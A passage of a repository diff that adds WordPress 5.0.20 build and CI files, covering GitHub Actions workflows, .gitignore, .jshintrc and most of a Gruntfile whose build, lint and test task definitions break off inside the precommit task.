+      SLACK_GHA_SUCCESS_WEBHOOK: ${{ secrets.SLACK_GHA_SUCCESS_WEBHOOK }}
+      SLACK_GHA_CANCELLED_WEBHOOK: ${{ secrets.SLACK_GHA_CANCELLED_WEBHOOK }}
+      SLACK_GHA_FIXED_WEBHOOK: ${{ secrets.SLACK_GHA_FIXED_WEBHOOK }}
+      SLACK_GHA_FAILURE_WEBHOOK: ${{ secrets.SLACK_GHA_FAILURE_WEBHOOK }}
+
+  failed-workflow:
+    name: Failed workflow tasks
+    runs-on: ubuntu-latest
+    needs: [ test-npm, test-npm-macos, slack-notifications ]
+    if: |
+      always() &&
+      github.repository == 'WordPress/wordpress-develop' &&
+      github.event_name != 'pull_request' &&
+      github.run_attempt < 2 &&
+      (
+        needs.test-npm.result == 'cancelled' || needs.test-npm.result == 'failure' ||
+        needs.test-npm-macos.result == 'cancelled' || needs.test-npm-macos.result == 'failure'
+      )
+
+    steps:
+      - name: Dispatch workflow run
+        uses: actions/github-script@98814c53be79b1d30f795b907e553d8679345975 # v6.4.0
+        with:
+          retries: 2
+          retry-exempt-status-codes: 418
+          script: |
+            github.rest.actions.createWorkflowDispatch({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              workflow_id: 'failed-workflow.yml',
+              ref: 'trunk',
+              inputs: {
+                run_id: '${{ github.run_id }}'
+              }
+            });
Index: /tags/5.0.20/.github/workflows/welcome-new-contributors.yml
===================================================================
--- /tags/5.0.20/.github/workflows/welcome-new-contributors.yml	(revision 56912)
+++ /tags/5.0.20/.github/workflows/welcome-new-contributors.yml	(revision 56912)
@@ -0,0 +1,59 @@
+name: Welcome New Contributors
+
+on:
+  pull_request_target:
+    types: [ opened ]
+
+jobs:
+  # Comments on a pull request when the author is a new contributor.
+  post-welcome-message:
+    runs-on: ubuntu-latest
+    timeout-minutes: 5
+    if: ${{ github.repository == 'WordPress/wordpress-develop' }}
+
+    steps:
+      - uses: wow-actions/welcome@72817eb31cda1de60f51893d80e2e82ce57f7e76 # v1.3.0
+        with:
+          FIRST_PR_COMMENT: >
+            Hi @{{ author }}! 👋
+
+
+            Thank you for your contribution to WordPress! 💖
+
+
+            It looks like this is your first pull request to `wordpress-develop`. Here are a few things to be aware of that may help you out!
+
+
+            **No one monitors this repository for new pull requests.** Pull requests **must** be attached to a Trac ticket to be considered for inclusion in WordPress Core. To attach a pull request to a Trac ticket, please include the ticket's full URL in your pull request description.
+
+
+            **Pull requests are never merged on GitHub.** The WordPress codebase continues to be managed through the SVN repository that this GitHub repository mirrors. Please feel free to open pull requests to work on any contribution you are making.
+
+
+            More information about how GitHub pull requests can be used to contribute to WordPress can be found in [this blog post](https://make.wordpress.org/core/2020/02/21/working-on-trac-tickets-using-github-pull-requests/).
+
+
+            **Please include automated tests.** Including tests in your pull request is one way to help your patch be considered faster. To learn about WordPress' test suites, visit the [Automated Testing](https://make.wordpress.org/core/handbook/testing/automated-testing/) page in the handbook.
+
+
+            If you have not had a chance, please review the [Contribute with Code page](https://make.wordpress.org/core/handbook/contribute/) in the [WordPress Core Handbook](https://make.wordpress.org/core/handbook/).
+
+
+            The [Developer Hub](https://developer.wordpress.org/) also documents the various [coding standards](https://make.wordpress.org/core/handbook/best-practices/coding-standards/) that are followed:
+
+            - [PHP Coding Standards](https://developer.wordpress.org/coding-standards/wordpress-coding-standards/php/)
+
+            - [CSS Coding Standards](https://developer.wordpress.org/coding-standards/wordpress-coding-standards/css/)
+
+            - [HTML Coding Standards](https://developer.wordpress.org/coding-standards/wordpress-coding-standards/html/)
+
+            - [JavaScript Coding Standards](https://developer.wordpress.org/coding-standards/wordpress-coding-standards/javascript/)
+
+            - [Accessibility Coding Standards](https://developer.wordpress.org/coding-standards/wordpress-coding-standards/accessibility/)
+
+            - [Inline Documentation Standards](https://developer.wordpress.org/coding-standards/inline-documentation-standards/)
+
+
+            Thank you,
+
+            The WordPress Project
Index: /tags/5.0.20/.gitignore
===================================================================
--- /tags/5.0.20/.gitignore	(revision 56912)
+++ /tags/5.0.20/.gitignore	(revision 56912)
@@ -0,0 +1,64 @@
+# gitignore file for WordPress Core
+
+# Configuration files with possibly sensitive information
+wp-config.php
+wp-tests-config.php
+.htaccess
+
+# Files and folders related to build/test tools
+/phpunit.xml
+/.phpcs.xml
+/phpcs.xml
+/tests/phpunit/data/plugins/wordpress-importer
+/tests/phpunit/data/.trac-ticket-cache*
+/tests/qunit/compiled.html
+/src/.wp-tests-version
+/node_modules
+/npm-debug.log
+/build
+/tests/phpunit/build
+/wp-cli.local.yml
+/jsdoc
+/vendor
+/src/wp-includes/js/dist
+/src/wp-includes/css/dist
+
+# Files and folders that get created in wp-content
+/src/wp-content/blogs.dir
+/src/wp-content/languages
+/src/wp-content/mu-plugins
+/src/wp-content/plugins
+/src/wp-content/themes/*
+!/src/wp-content/themes/twentyten
+!/src/wp-content/themes/twentyeleven
+!/src/wp-content/themes/twentytwelve
+!/src/wp-content/themes/twentythirteen
+!/src/wp-content/themes/twentyfourteen
+!/src/wp-content/themes/twentyfifteen
+!/src/wp-content/themes/twentyseventeen
+/src/wp-content/upgrade
+/src/wp-content/uploads
+/src/wp-content/advanced-cache.php
+/src/wp-content/blog-deleted.php
+/src/wp-content/blog-inactive.php
+/src/wp-content/blog-suspended.php
+/src/wp-content/db.php
+/src/wp-content/db-error.php
+/src/wp-content/debug.log
+/src/wp-content/install.php
+/src/wp-content/maintenance.php
+/src/wp-content/object-cache.php
+/src/wp-content/sunrise.php
+
+# Operating system specific files
+.DS_Store
+
+# Ignore other .gitignore files to allow for personal customizations
+.gitignore
+
+# Files related to applying patches
+*.rej
+*.orig
+*.patch
+*.diff
+.svn
Index: /tags/5.0.20/.jshintrc
===================================================================
--- /tags/5.0.20/.jshintrc	(revision 56912)
+++ /tags/5.0.20/.jshintrc	(revision 56912)
@@ -0,0 +1,29 @@
+{
+	"boss": true,
+	"curly": true,
+	"eqeqeq": true,
+	"eqnull": true,
+	"es3": true,
+	"expr": true,
+	"immed": true,
+	"noarg": true,
+	"nonbsp": true,
+	"onevar": true,
+	"quotmark": "single",
+	"trailing": true,
+	"undef": true,
+	"unused": true,
+
+	"browser": true,
+
+	"globals": {
+		"_": false,
+		"Backbone": false,
+		"jQuery": false,
+		"JSON": false,
+		"wp": false,
+		"export": false,
+		"module": false,
+		"require": false
+	}
+}
Index: /tags/5.0.20/.nvmrc
===================================================================
--- /tags/5.0.20/.nvmrc	(revision 56912)
+++ /tags/5.0.20/.nvmrc	(revision 56912)
@@ -0,0 +1,1 @@
+14
Index: /tags/5.0.20/Gruntfile.js
===================================================================
--- /tags/5.0.20/Gruntfile.js	(revision 56912)
+++ /tags/5.0.20/Gruntfile.js	(revision 56912)
@@ -0,0 +1,1011 @@
+/* jshint node:true */
+/* globals Set */
+var webpackConfig = require( './webpack.config' );
+
+module.exports = function(grunt) {
+	var path = require('path'),
+		fs = require( 'fs' ),
+		spawn = require( 'child_process' ).spawnSync,
+		SOURCE_DIR = 'src/',
+		BUILD_DIR = 'build/',
+ 		BANNER_TEXT = '/*! This file is auto-generated */',
+		autoprefixer = require( 'autoprefixer' ),
+		sass = require( 'sass' );
+
+	// Load tasks.
+	require('matchdep').filterDev(['grunt-*', '!grunt-legacy-util']).forEach( grunt.loadNpmTasks );
+	// Load legacy utils
+	grunt.util = require('grunt-legacy-util');
+
+	// Project configuration.
+	grunt.initConfig({
+		postcss: {
+			options: {
+				processors: [
+					autoprefixer({
+						cascade: false
+					})
+				]
+			},
+			core: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: SOURCE_DIR,
+				src: [
+					'wp-admin/css/*.css',
+					'wp-includes/css/*.css'
+				]
+			},
+			colors: {
+				expand: true,
+				cwd: BUILD_DIR,
+				dest: BUILD_DIR,
+				src: [
+					'wp-admin/css/colors/*/colors.css'
+				]
+			}
+		},
+ 		usebanner: {
+			options: {
+				position: 'top',
+				banner: BANNER_TEXT,
+				linebreak: true
+			},
+			files: {
+				src: [
+					BUILD_DIR + 'wp-admin/css/*.min.css',
+					BUILD_DIR + 'wp-includes/css/*.min.css',
+					BUILD_DIR + 'wp-admin/css/colors/*/*.css'
+				]
+			}
+		},
+		clean: {
+			all: [
+				BUILD_DIR,
+				SOURCE_DIR + 'wp-includes/js/dist',
+				SOURCE_DIR + 'wp-includes/css/dist'
+			],
+			dynamic: {
+				dot: true,
+				expand: true,
+				cwd: BUILD_DIR,
+				src: []
+			},
+			tinymce: ['<%= concat.tinymce.dest %>'],
+			qunit: ['tests/qunit/compiled.html']
+		},
+		copy: {
+			files: {
+				files: [
+					{
+						dot: true,
+						expand: true,
+						cwd: SOURCE_DIR,
+						src: [
+							'**',
+							'!wp-includes/js/media/**',
+							'!**/.{svn,git}/**', // Ignore version control directories.
+							// Ignore unminified versions of external libs we don't ship:
+							'!wp-includes/js/backbone.js',
+							'!wp-includes/js/underscore.js',
+							'!wp-includes/js/jquery/jquery.masonry.js',
+							'!wp-includes/js/jquery/ui/*.js',
+							'!wp-includes/js/tinymce/tinymce.js',
+							'!wp-includes/version.php', // Exclude version.php
+							'!**/*.map' // The build doesn't need .map files.
+						],
+						dest: BUILD_DIR
+					},
+					{
+						src: 'wp-config-sample.php',
+						dest: BUILD_DIR
+					}
+				]
+			},
+			'wp-admin-css-compat-rtl': {
+				options: {
+					processContent: function( src ) {
+						return src.replace( /\.css/g, '-rtl.css' );
+					}
+				},
+				src: SOURCE_DIR + 'wp-admin/css/wp-admin.css',
+				dest: BUILD_DIR + 'wp-admin/css/wp-admin-rtl.css'
+			},
+			'wp-admin-css-compat-min': {
+				options: {
+					processContent: function( src ) {
+						return src.replace( /\.css/g, '.min.css' );
+					}
+				},
+				files: [
+					{
+						src: SOURCE_DIR + 'wp-admin/css/wp-admin.css',
+						dest: BUILD_DIR + 'wp-admin/css/wp-admin.min.css'
+					},
+					{
+						src:  BUILD_DIR + 'wp-admin/css/wp-admin-rtl.css',
+						dest: BUILD_DIR + 'wp-admin/css/wp-admin-rtl.min.css'
+					}
+				]
+			},
+			version: {
+				options: {
+					processContent: function( src ) {
+						return src.replace( /^\$wp_version = '(.+?)';/m, function( str, version ) {
+							version = version.replace( /-src$/, '' );
+
+							// If the version includes an SVN commit (-12345), it's not a released alpha/beta. Append a timestamp.
+							version = version.replace( /-[\d]{5}$/, '-' + grunt.template.today( 'yyyymmdd.HHMMss' ) );
+
+							/* jshint quotmark: true */
+							return "$wp_version = '" + version + "';";
+						});
+					}
+				},
+				src: SOURCE_DIR + 'wp-includes/version.php',
+				dest: BUILD_DIR + 'wp-includes/version.php'
+			},
+			dynamic: {
+				dot: true,
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				src: []
+			},
+			qunit: {
+				src: 'tests/qunit/index.html',
+				dest: 'tests/qunit/compiled.html',
+				options: {
+					processContent: function( src ) {
+						return src.replace( /(\".+?\/)src(\/.+?)(?:.min)?(.js\")/g , function( match, $1, $2, $3 ) {
+							// Don't add `.min` to files that don't have it.
+							return $1 + 'build' + $2 + ( /jquery$/.test( $2 ) ? '' : '.min' ) + $3;
+						} );
+					}
+				}
+			}
+		},
+		sass: {
+			colors: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '.css',
+				src: ['wp-admin/css/colors/*/colors.scss'],
+				options: {
+					implementation: sass
+				}
+			}
+		},
+		cssmin: {
+			options: {
+				compatibility: 'ie7'
+			},
+			core: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '.min.css',
+				src: [
+					'wp-admin/css/*.css',
+					'!wp-admin/css/wp-admin*.css',
+					'wp-includes/css/*.css',
+					'wp-includes/js/mediaelement/wp-mediaelement.css'
+				]
+			},
+			dist: {
+				expand: true,
+				cwd: BUILD_DIR,
+				dest: BUILD_DIR,
+				ext: '.min.css',
+				src: [
+					'wp-includes/css/dist/*/*.css'
+				]
+			},
+			rtl: {
+				expand: true,
+				cwd: BUILD_DIR,
+				dest: BUILD_DIR,
+				ext: '.min.css',
+				src: [
+					'wp-admin/css/*-rtl.css',
+					'!wp-admin/css/wp-admin*.css',
+					'wp-includes/css/*-rtl.css'
+				]
+			},
+			colors: {
+				expand: true,
+				cwd: BUILD_DIR,
+				dest: BUILD_DIR,
+				ext: '.min.css',
+				src: [
+					'wp-admin/css/colors/*/*.css'
+				]
+			}
+		},
+		rtlcss: {
+			options: {
+				// rtlcss options
+				opts: {
+					clean: false,
+					processUrls: { atrule: true, decl: false },
+					stringMap: [
+						{
+							name: 'import-rtl-stylesheet',
+							priority: 10,
+							exclusive: true,
+							search: [ '.css' ],
+							replace: [ '-rtl.css' ],
+							options: {
+								scope: 'url',
+								ignoreCase: false
+							}
+						}
+					]
+				},
+				saveUnmodified: false,
+				plugins: [
+					{
+						name: 'swap-dashicons-left-right-arrows',
+						priority: 10,
+						directives: {
+							control: {},
+							value: []
+						},
+						processors: [
+							{
+								expr: /content/im,
+								action: function( prop, value ) {
+									if ( value === '"\\f141"' ) { // dashicons-arrow-left
+										value = '"\\f139"';
+									} else if ( value === '"\\f340"' ) { // dashicons-arrow-left-alt
+										value = '"\\f344"';
+									} else if ( value === '"\\f341"' ) { // dashicons-arrow-left-alt2
+										value = '"\\f345"';
+									} else if ( value === '"\\f139"' ) { // dashicons-arrow-right
+										value = '"\\f141"';
+									} else if ( value === '"\\f344"' ) { // dashicons-arrow-right-alt
+										value = '"\\f340"';
+									} else if ( value === '"\\f345"' ) { // dashicons-arrow-right-alt2
+										value = '"\\f341"';
+									}
+									return { prop: prop, value: value };
+								}
+							}
+						]
+					}
+				]
+			},
+			core: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '-rtl.css',
+				src: [
+					'wp-admin/css/*.css',
+					'wp-includes/css/*.css',
+
+					// Exceptions
+					'!wp-includes/css/dashicons.css',
+					'!wp-includes/css/wp-embed-template.css',
+					'!wp-includes/css/wp-embed-template-ie.css'
+				]
+			},
+			colors: {
+				expand: true,
+				cwd: BUILD_DIR,
+				dest: BUILD_DIR,
+				ext: '-rtl.css',
+				src: [
+					'wp-admin/css/colors/*/colors.css'
+				]
+			},
+			dynamic: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '-rtl.css',
+				src: []
+			}
+		},
+		jshint: {
+			options: grunt.file.readJSON('.jshintrc'),
+			grunt: {
+				src: ['Gruntfile.js']
+			},
+			tests: {
+				src: [
+					'tests/qunit/**/*.js',
+					'!tests/qunit/vendor/*',
+					'!tests/qunit/editor/**'
+				],
+				options: grunt.file.readJSON('tests/qunit/.jshintrc')
+			},
+			themes: {
+				expand: true,
+				cwd: SOURCE_DIR + 'wp-content/themes',
+				src: [
+					'twenty*/**/*.js',
+					'!twenty{eleven,twelve,thirteen}/**',
+					// Third party scripts
+					'!twenty{fourteen,fifteen,sixteen}/js/html5.js',
+					'!twentyseventeen/assets/js/html5.js',
+					'!twentyseventeen/assets/js/jquery.scrollTo.js'
+				]
+			},
+			media: {
+				src: [
+					SOURCE_DIR + 'wp-includes/js/media/**/*.js'
+				]
+			},
+			core: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				src: [
+					'wp-admin/js/**/*.js',
+					'wp-includes/js/*.js',
+					// Built scripts.
+					'!wp-includes/js/media-*',
+					// WordPress scripts inside directories
+					'wp-includes/js/jquery/jquery.table-hotkeys.js',
+					'wp-includes/js/mediaelement/mediaelement-migrate.js',
+					'wp-includes/js/mediaelement/wp-mediaelement.js',
+					'wp-includes/js/mediaelement/wp-playlist.js',
+					'wp-includes/js/plupload/handlers.js',
+					'wp-includes/js/plupload/wp-plupload.js',
+					'wp-includes/js/tinymce/plugins/wordpress/plugin.js',
+					'wp-includes/js/tinymce/plugins/wp*/plugin.js',
+					// Third party scripts
+					'!wp-includes/js/codemirror/*.js',
+					'!wp-admin/js/farbtastic.js',
+					'!wp-includes/js/backbone*.js',
+					'!wp-includes/js/swfobject.js',
+					'!wp-includes/js/underscore*.js',
+					'!wp-includes/js/colorpicker.js',
+					'!wp-includes/js/hoverIntent.js',
+					'!wp-includes/js/json2.js',
+					'!wp-includes/js/tw-sack.js',
+					'!wp-includes/js/twemoji.js',
+					'!**/*.min.js'
+				],
+				// Remove once other JSHint errors are resolved
+				options: {
+					curly: false,
+					eqeqeq: false
+				},
+				// Limit JSHint's run to a single specified file:
+				//
+				//    grunt jshint:core --file=filename.js
+				//
+				// Optionally, include the file path:
+				//
+				//    grunt jshint:core --file=path/to/filename.js
+				//
+				filter: function( filepath ) {
+					var index, file = grunt.option( 'file' );
+
+					// Don't filter when no target file is specified
+					if ( ! file ) {
+						return true;
+					}
+
+					// Normalize filepath for Windows
+					filepath = filepath.replace( /\\/g, '/' );
+					index = filepath.lastIndexOf( '/' + file );
+
+					// Match only the filename passed from cli
+					if ( filepath === file || ( -1 !== index && index === filepath.length - ( file.length + 1 ) ) ) {
+						return true;
+					}
+
+					return false;
+				}
+			},
+			plugins: {
+				expand: true,
+				cwd: SOURCE_DIR + 'wp-content/plugins',
+				src: [
+					'**/*.js',
+					'!**/*.min.js'
+				],
+				// Limit JSHint's run to a single specified plugin directory:
+				//
+				//    grunt jshint:plugins --dir=foldername
+				//
+				filter: function( dirpath ) {
+					var index, dir = grunt.option( 'dir' );
+
+					// Don't filter when no target folder is specified
+					if ( ! dir ) {
+						return true;
+					}
+
+					dirpath = dirpath.replace( /\\/g, '/' );
+					index = dirpath.lastIndexOf( '/' + dir );
+
+					// Match only the folder name passed from cli
+					if ( -1 !== index ) {
+						return true;
+					}
+
+					return false;
+				}
+			}
+		},
+		jsdoc : {
+			dist : {
+				dest: 'jsdoc',
+				options: {
+					configure : 'jsdoc.conf.json'
+				}
+			}
+		},
+		qunit: {
+			files: [
+				'tests/qunit/**/*.html',
+				'!tests/qunit/editor/**'
+			]
+		},
+		phpunit: {
+			'default': {
+				cmd: 'phpunit',
+				args: ['--verbose', '-c', 'phpunit.xml.dist']
+			},
+			ajax: {
+				cmd: 'phpunit',
+				args: ['--verbose', '-c', 'phpunit.xml.dist', '--group', 'ajax']
+			},
+			multisite: {
+				cmd: 'phpunit',
+				args: ['--verbose', '-c', 'tests/phpunit/multisite.xml']
+			},
+			'ms-files': {
+				cmd: 'phpunit',
+				args: ['--verbose', '-c', 'tests/phpunit/multisite.xml', '--group', 'ms-files']
+			},
+			'external-http': {
+				cmd: 'phpunit',
+				args: ['--verbose', '-c', 'phpunit.xml.dist', '--group', 'external-http']
+			},
+			'restapi-jsclient': {
+				cmd: 'phpunit',
+				args: ['--verbose', '-c', 'phpunit.xml.dist', '--group', 'restapi-jsclient']
+			}
+		},
+		uglify: {
+			options: {
+				output: {
+					ascii_only: true
+				}
+			},
+			core: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '.min.js',
+				src: [
+					'wp-admin/js/**/*.js',
+					'wp-includes/js/*.js',
+					'wp-includes/js/plupload/*.js',
+					'wp-includes/js/mediaelement/wp-mediaelement.js',
+					'wp-includes/js/mediaelement/wp-playlist.js',
+					'wp-includes/js/mediaelement/mediaelement-migrate.js',
+					'wp-includes/js/tinymce/plugins/wordpress/plugin.js',
+					'wp-includes/js/tinymce/plugins/wp*/plugin.js',
+
+					// Exceptions
+					'!wp-admin/js/custom-header.js', // Why? We should minify this.
+					'!wp-admin/js/farbtastic.js',
+					'!wp-admin/js/iris.min.js',
+					'!wp-includes/js/backbone.*',
+					'!wp-includes/js/masonry.min.js',
+					'!wp-includes/js/swfobject.js',
+					'!wp-includes/js/underscore.*',
+					'!wp-includes/js/zxcvbn.min.js',
+					'!wp-includes/js/wp-embed.js' // We have extra options for this, see uglify:embed
+				]
+			},
+			embed: {
+				options: {
+					compress: {
+						conditionals: false
+					}
+				},
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '.min.js',
+				src: ['wp-includes/js/wp-embed.js']
+			},
+			media: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '.min.js',
+				src: [
+					'wp-includes/js/media-audiovideo.js',
+					'wp-includes/js/media-grid.js',
+					'wp-includes/js/media-models.js',
+					'wp-includes/js/media-views.js'
+				]
+			},
+			jqueryui: {
+				options: {
+					// Preserve comments that start with a bang.
+					output: {
+						comments: /^!/
+					}
+				},
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '.min.js',
+				src: ['wp-includes/js/jquery/ui/*.js']
+			},
+			masonry: {
+				options: {
+					// Preserve comments that start with a bang.
+					output: {
+						comments: /^!/
+					}
+				},
+				src: SOURCE_DIR + 'wp-includes/js/jquery/jquery.masonry.js',
+				dest: SOURCE_DIR + 'wp-includes/js/jquery/jquery.masonry.min.js'
+			},
+			imgareaselect: {
+				src: SOURCE_DIR + 'wp-includes/js/imgareaselect/jquery.imgareaselect.js',
+				dest: SOURCE_DIR + 'wp-includes/js/imgareaselect/jquery.imgareaselect.min.js'
+			}
+		},
+		webpack: {
+			prod: webpackConfig( { environment: 'production' } ),
+			devProdTarget: webpackConfig( { environment: 'development', forceBuildTarget: 'build/wp-includes' } ),
+			dev: webpackConfig( { environment: 'development' } ),
+			watch: webpackConfig( { environment: 'development', watch: true } )
+		},
+		concat: {
+			tinymce: {
+				options: {
+					separator: '\n',
+					process: function( src, filepath ) {
+						return '// Source: ' + filepath.replace( BUILD_DIR, '' ) + '\n' + src;
+					}
+				},
+				src: [
+					BUILD_DIR + 'wp-includes/js/tinymce/tinymce.min.js',
+					BUILD_DIR + 'wp-includes/js/tinymce/themes/modern/theme.min.js',
+					BUILD_DIR + 'wp-includes/js/tinymce/plugins/*/plugin.min.js'
+				],
+				dest: BUILD_DIR + 'wp-includes/js/tinymce/wp-tinymce.js'
+			},
+			emoji: {
+				options: {
+					separator: '\n',
+					process: function( src, filepath ) {
+						return '// Source: ' + filepath.replace( BUILD_DIR, '' ) + '\n' + src;
+					}
+				},
+				src: [
+					BUILD_DIR + 'wp-includes/js/twemoji.min.js',
+					BUILD_DIR + 'wp-includes/js/wp-emoji.min.js'
+				],
+				dest: BUILD_DIR + 'wp-includes/js/wp-emoji-release.min.js'
+			}
+		},
+		compress: {
+			tinymce: {
+				options: {
+					mode: 'gzip',
+					level: 9
+				},
+				src: '<%= concat.tinymce.dest %>',
+				dest: BUILD_DIR + 'wp-includes/js/tinymce/wp-tinymce.js.gz'
+			}
+		},
+		jsvalidate:{
+			options: {
+				globals: {},
+				esprimaOptions:{},
+				verbose: false
+			},
+			build: {
+				files: {
+					src: [
+						BUILD_DIR + 'wp-{admin,includes}/**/*.js',
+						BUILD_DIR + 'wp-content/themes/twenty*/**/*.js',
+						'!' + BUILD_DIR + 'wp-includes/js/dist/vendor/*.js'
+					]
+				}
+			}
+		},
+		imagemin: {
+			core: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				src: [
+					'wp-{admin,includes}/images/**/*.{png,jpg,gif,jpeg}',
+					'wp-includes/js/tinymce/skins/wordpress/images/*.{png,jpg,gif,jpeg}'
+				],
+				dest: SOURCE_DIR
+			}
+		},
+		includes: {
+			emoji: {
+				src: BUILD_DIR + 'wp-includes/formatting.php',
+				dest: '.'
+			},
+			embed: {
+				src: BUILD_DIR + 'wp-includes/embed.php',
+				dest: '.'
+			}
+		},
+		replace: {
+			emojiRegex: {
+				options: {
+					patterns: [
+						{
+							match: /\/\/ START: emoji arrays[\S\s]*\/\/ END: emoji arrays/g,
+							replacement: function () {
+								var regex, files,
+									partials, partialsSet,
+									entities, emojiArray;
+
+								grunt.log.writeln( 'Fetching list of Twemoji files...' );
+
+								// Fetch a list of the files that Twemoji supplies
+								files = spawn( 'svn', [ 'ls', 'https://github.com/twitter/twemoji.git/branches/gh-pages/2/assets' ] );
+								if ( 0 !== files.status ) {
+									grunt.fatal( 'Unable to fetch Twemoji file list' );
+								}
+
+								entities = files.stdout.toString();
+
+								// Tidy up the file list
+								entities = entities.replace( /\.ai/g, '' );
+								entities = entities.replace( /^$/g, '' );
+
+								// Convert the emoji entities to HTML entities
+								partials = entities = entities.replace( /([a-z0-9]+)/g, '&#x$1;' );
+
+								// Remove the hyphens between the HTML entities
+								entities = entities.replace( /-/g, '' );
+
+								// Sort the entities list by length, so the longest emoji will be found first
+								emojiArray = entities.split( '\n' ).sort( function ( a, b ) {
+									return b.length - a.length;
+								} );
+
+								// Convert the entities list to PHP array syntax
+								entities = '\'' + emojiArray.filter( function( val ) {
+									return val.length >= 8 ? val : false ;
+								} ).join( '\',\'' ) + '\'';
+
+								// Create a list of all characters used by the emoji list
+								partials = partials.replace( /-/g, '\n' );
+
+								// Set automatically removes duplicates
+								partialsSet = new Set( partials.split( '\n' ) );
+
+								// Convert the partials list to PHP array syntax
+								partials = '\'' + Array.from( partialsSet ).filter( function( val ) {
+									return val.length >= 8 ? val : false ;
+								} ).join( '\',\'' ) + '\'';
+
+								regex = '// START: emoji arrays\n';
+								regex += '\t$entities = array(' + entities + ');\n';
+								regex += '\t$partials = array(' + partials + ');\n';
+								regex += '\t// END: emoji arrays';
+
+								return regex;
+							}
+						}
+					]
+				},
+				files: [
+					{
+						expand: true,
+						flatten: true,
+						src: [
+							SOURCE_DIR + 'wp-includes/formatting.php'
+						],
+						dest: SOURCE_DIR + 'wp-includes/'
+					}
+				]
+			}
+		},
+		_watch: {
+			all: {
+				files: [
+					SOURCE_DIR + '**',
+					'!' + SOURCE_DIR + 'wp-includes/js/media/**',
+					// Ignore version control directories.
+					'!' + SOURCE_DIR + '**/.{svn,git}/**'
+				],
+				tasks: ['clean:dynamic', 'copy:dynamic'],
+				options: {
+					dot: true,
+					spawn: false,
+					interval: 2000
+				}
+			},
+			config: {
+				files: [
+					'Gruntfile.js',
+					'webpack.config.js'
+				]
+			},
+			colors: {
+				files: [SOURCE_DIR + 'wp-admin/css/colors/**'],
+				tasks: ['sass:colors']
+			},
+			rtl: {
+				files: [
+					SOURCE_DIR + 'wp-admin/css/*.css',
+					SOURCE_DIR + 'wp-includes/css/*.css'
+				],
+				tasks: ['rtlcss:dynamic'],
+				options: {
+					spawn: false,
+					interval: 2000
+				}
+			},
+			test: {
+				files: [
+					'tests/qunit/**',
+					'!tests/qunit/editor/**'
+				],
+				tasks: ['qunit']
+			}
+		}
+	});
+
+	// Allow builds to be minimal
+	if( grunt.option( 'minimal-copy' ) ) {
+		var copyFilesOptions = grunt.config.get( 'copy.files.files' );
+		copyFilesOptions[0].src.push( '!wp-content/plugins/**' );
+		copyFilesOptions[0].src.push( '!wp-content/themes/!(twenty*)/**' );
+		grunt.config.set( 'copy.files.files', copyFilesOptions );
+	}
+
+
+	// Register tasks.
+
+	// Webpack task.
+	grunt.loadNpmTasks( 'grunt-webpack' );
+
+	// RTL task.
+	grunt.registerTask('rtl', ['rtlcss:core', 'rtlcss:colors']);
+
+	// Color schemes task.
+	grunt.registerTask('colors', ['sass:colors', 'postcss:colors']);
+
+	// JSHint task.
+	grunt.registerTask( 'jshint:corejs', [
+		'jshint:grunt',
+		'jshint:tests',
+		'jshint:themes',
+		'jshint:core',
+		'jshint:media'
+	] );
+
+	grunt.registerTask( 'restapi-jsclient', [
+		'phpunit:restapi-jsclient',
+		'qunit:compiled'
+	] );
+
+	grunt.renameTask( 'watch', '_watch' );
+
+	grunt.registerTask( 'watch', function() {
+		if ( ! this.args.length || this.args.indexOf( 'webpack' ) > -1 ) {
+
+			grunt.task.run( 'webpack:dev' );
+		}
+
+		grunt.task.run( '_' + this.nameArgs );
+	} );
+
+	grunt.registerTask( 'precommit:image', [
+		'imagemin:core'
+	] );
+
+	grunt.registerTask( 'precommit:js', [
+		'webpack:prod',
+		'jshint:corejs',
+		'uglify:masonry',
+		'uglify:imgareaselect',
+		'qunit:compiled'
+	] );
+
+	grunt.registerTask( 'precommit:css', [
+		'postcss:core'
+	] );
+
+	grunt.registerTask( 'precommit:php', [
+		'phpunit'
+	] );
+
+	grunt.registerTask( 'precommit:emoji', [
+		'replace:emojiRegex'
+	] );
+
+	grunt.registerTask( 'precommit', 'Runs test and build tasks in preparation for a commit', function() {
+		var done = this.async();
+		var map = {
+			svn: 'svn status --ignore-externals',
+			git: 'git status --short'
+		};
+
+		find( [
+			__dirname + '/.svn',
+			__dirname + '/.git',
+			path.dirname( __dirname ) + '/.svn'
+		] );
+
+		function find( set ) {
+			var dir;
+
+			if ( set.length ) {
+				fs.stat( dir = set.shift(), function( error ) {
+					error ? find( set ) : run( path.basename( dir ).substr( 1 ) );
+				} );
+			} else {
+				runAllTasks();
+			}
+		}
+
+		function runAllTasks() {
+			grunt.log.writeln( 'Cannot determine which files are modified as SVN and GIT are not available.' );
+			grunt.log.writeln( 'Running all tasks and all tests.' );
+			grunt.task.run([
+				'precommit:js',
+				'precommit:css',
+				'precommit:image',
+				'precommit:emoji',
+				'precommit:php'
+			]);
+
+			done();
+		}
+
+		function run( type ) {
+			var command = map[ type ].split( ' ' );
+
+			grunt.util.spawn( {
+				cmd: command.shift(),
+				args: command
+			}, function( error, result, code ) {
+				var taskList = [];
+
+				// Callback for finding modified paths.
+				function testPath( path ) {
+					var regex = new RegExp( ' ' + path + '$', 'm' );
+					return regex.test( result.stdout );
+				}
+
+				// Callback for finding modified files by extension.
+				function testExtension( extension ) {
+					var regex = new RegExp( '\.' + extension + '$', 'm' );
+					return regex.test( result.stdout );
+				}
+
+				if ( code === 0 ) {
+					if ( [ 'package.json', 'Gruntfile.js' ].some( testPath ) ) {
+						grunt.log.writeln( 'Configuration files modified. Running `prerelease`.' );
+						taskList.push( 'prerelease' );
+					} else {
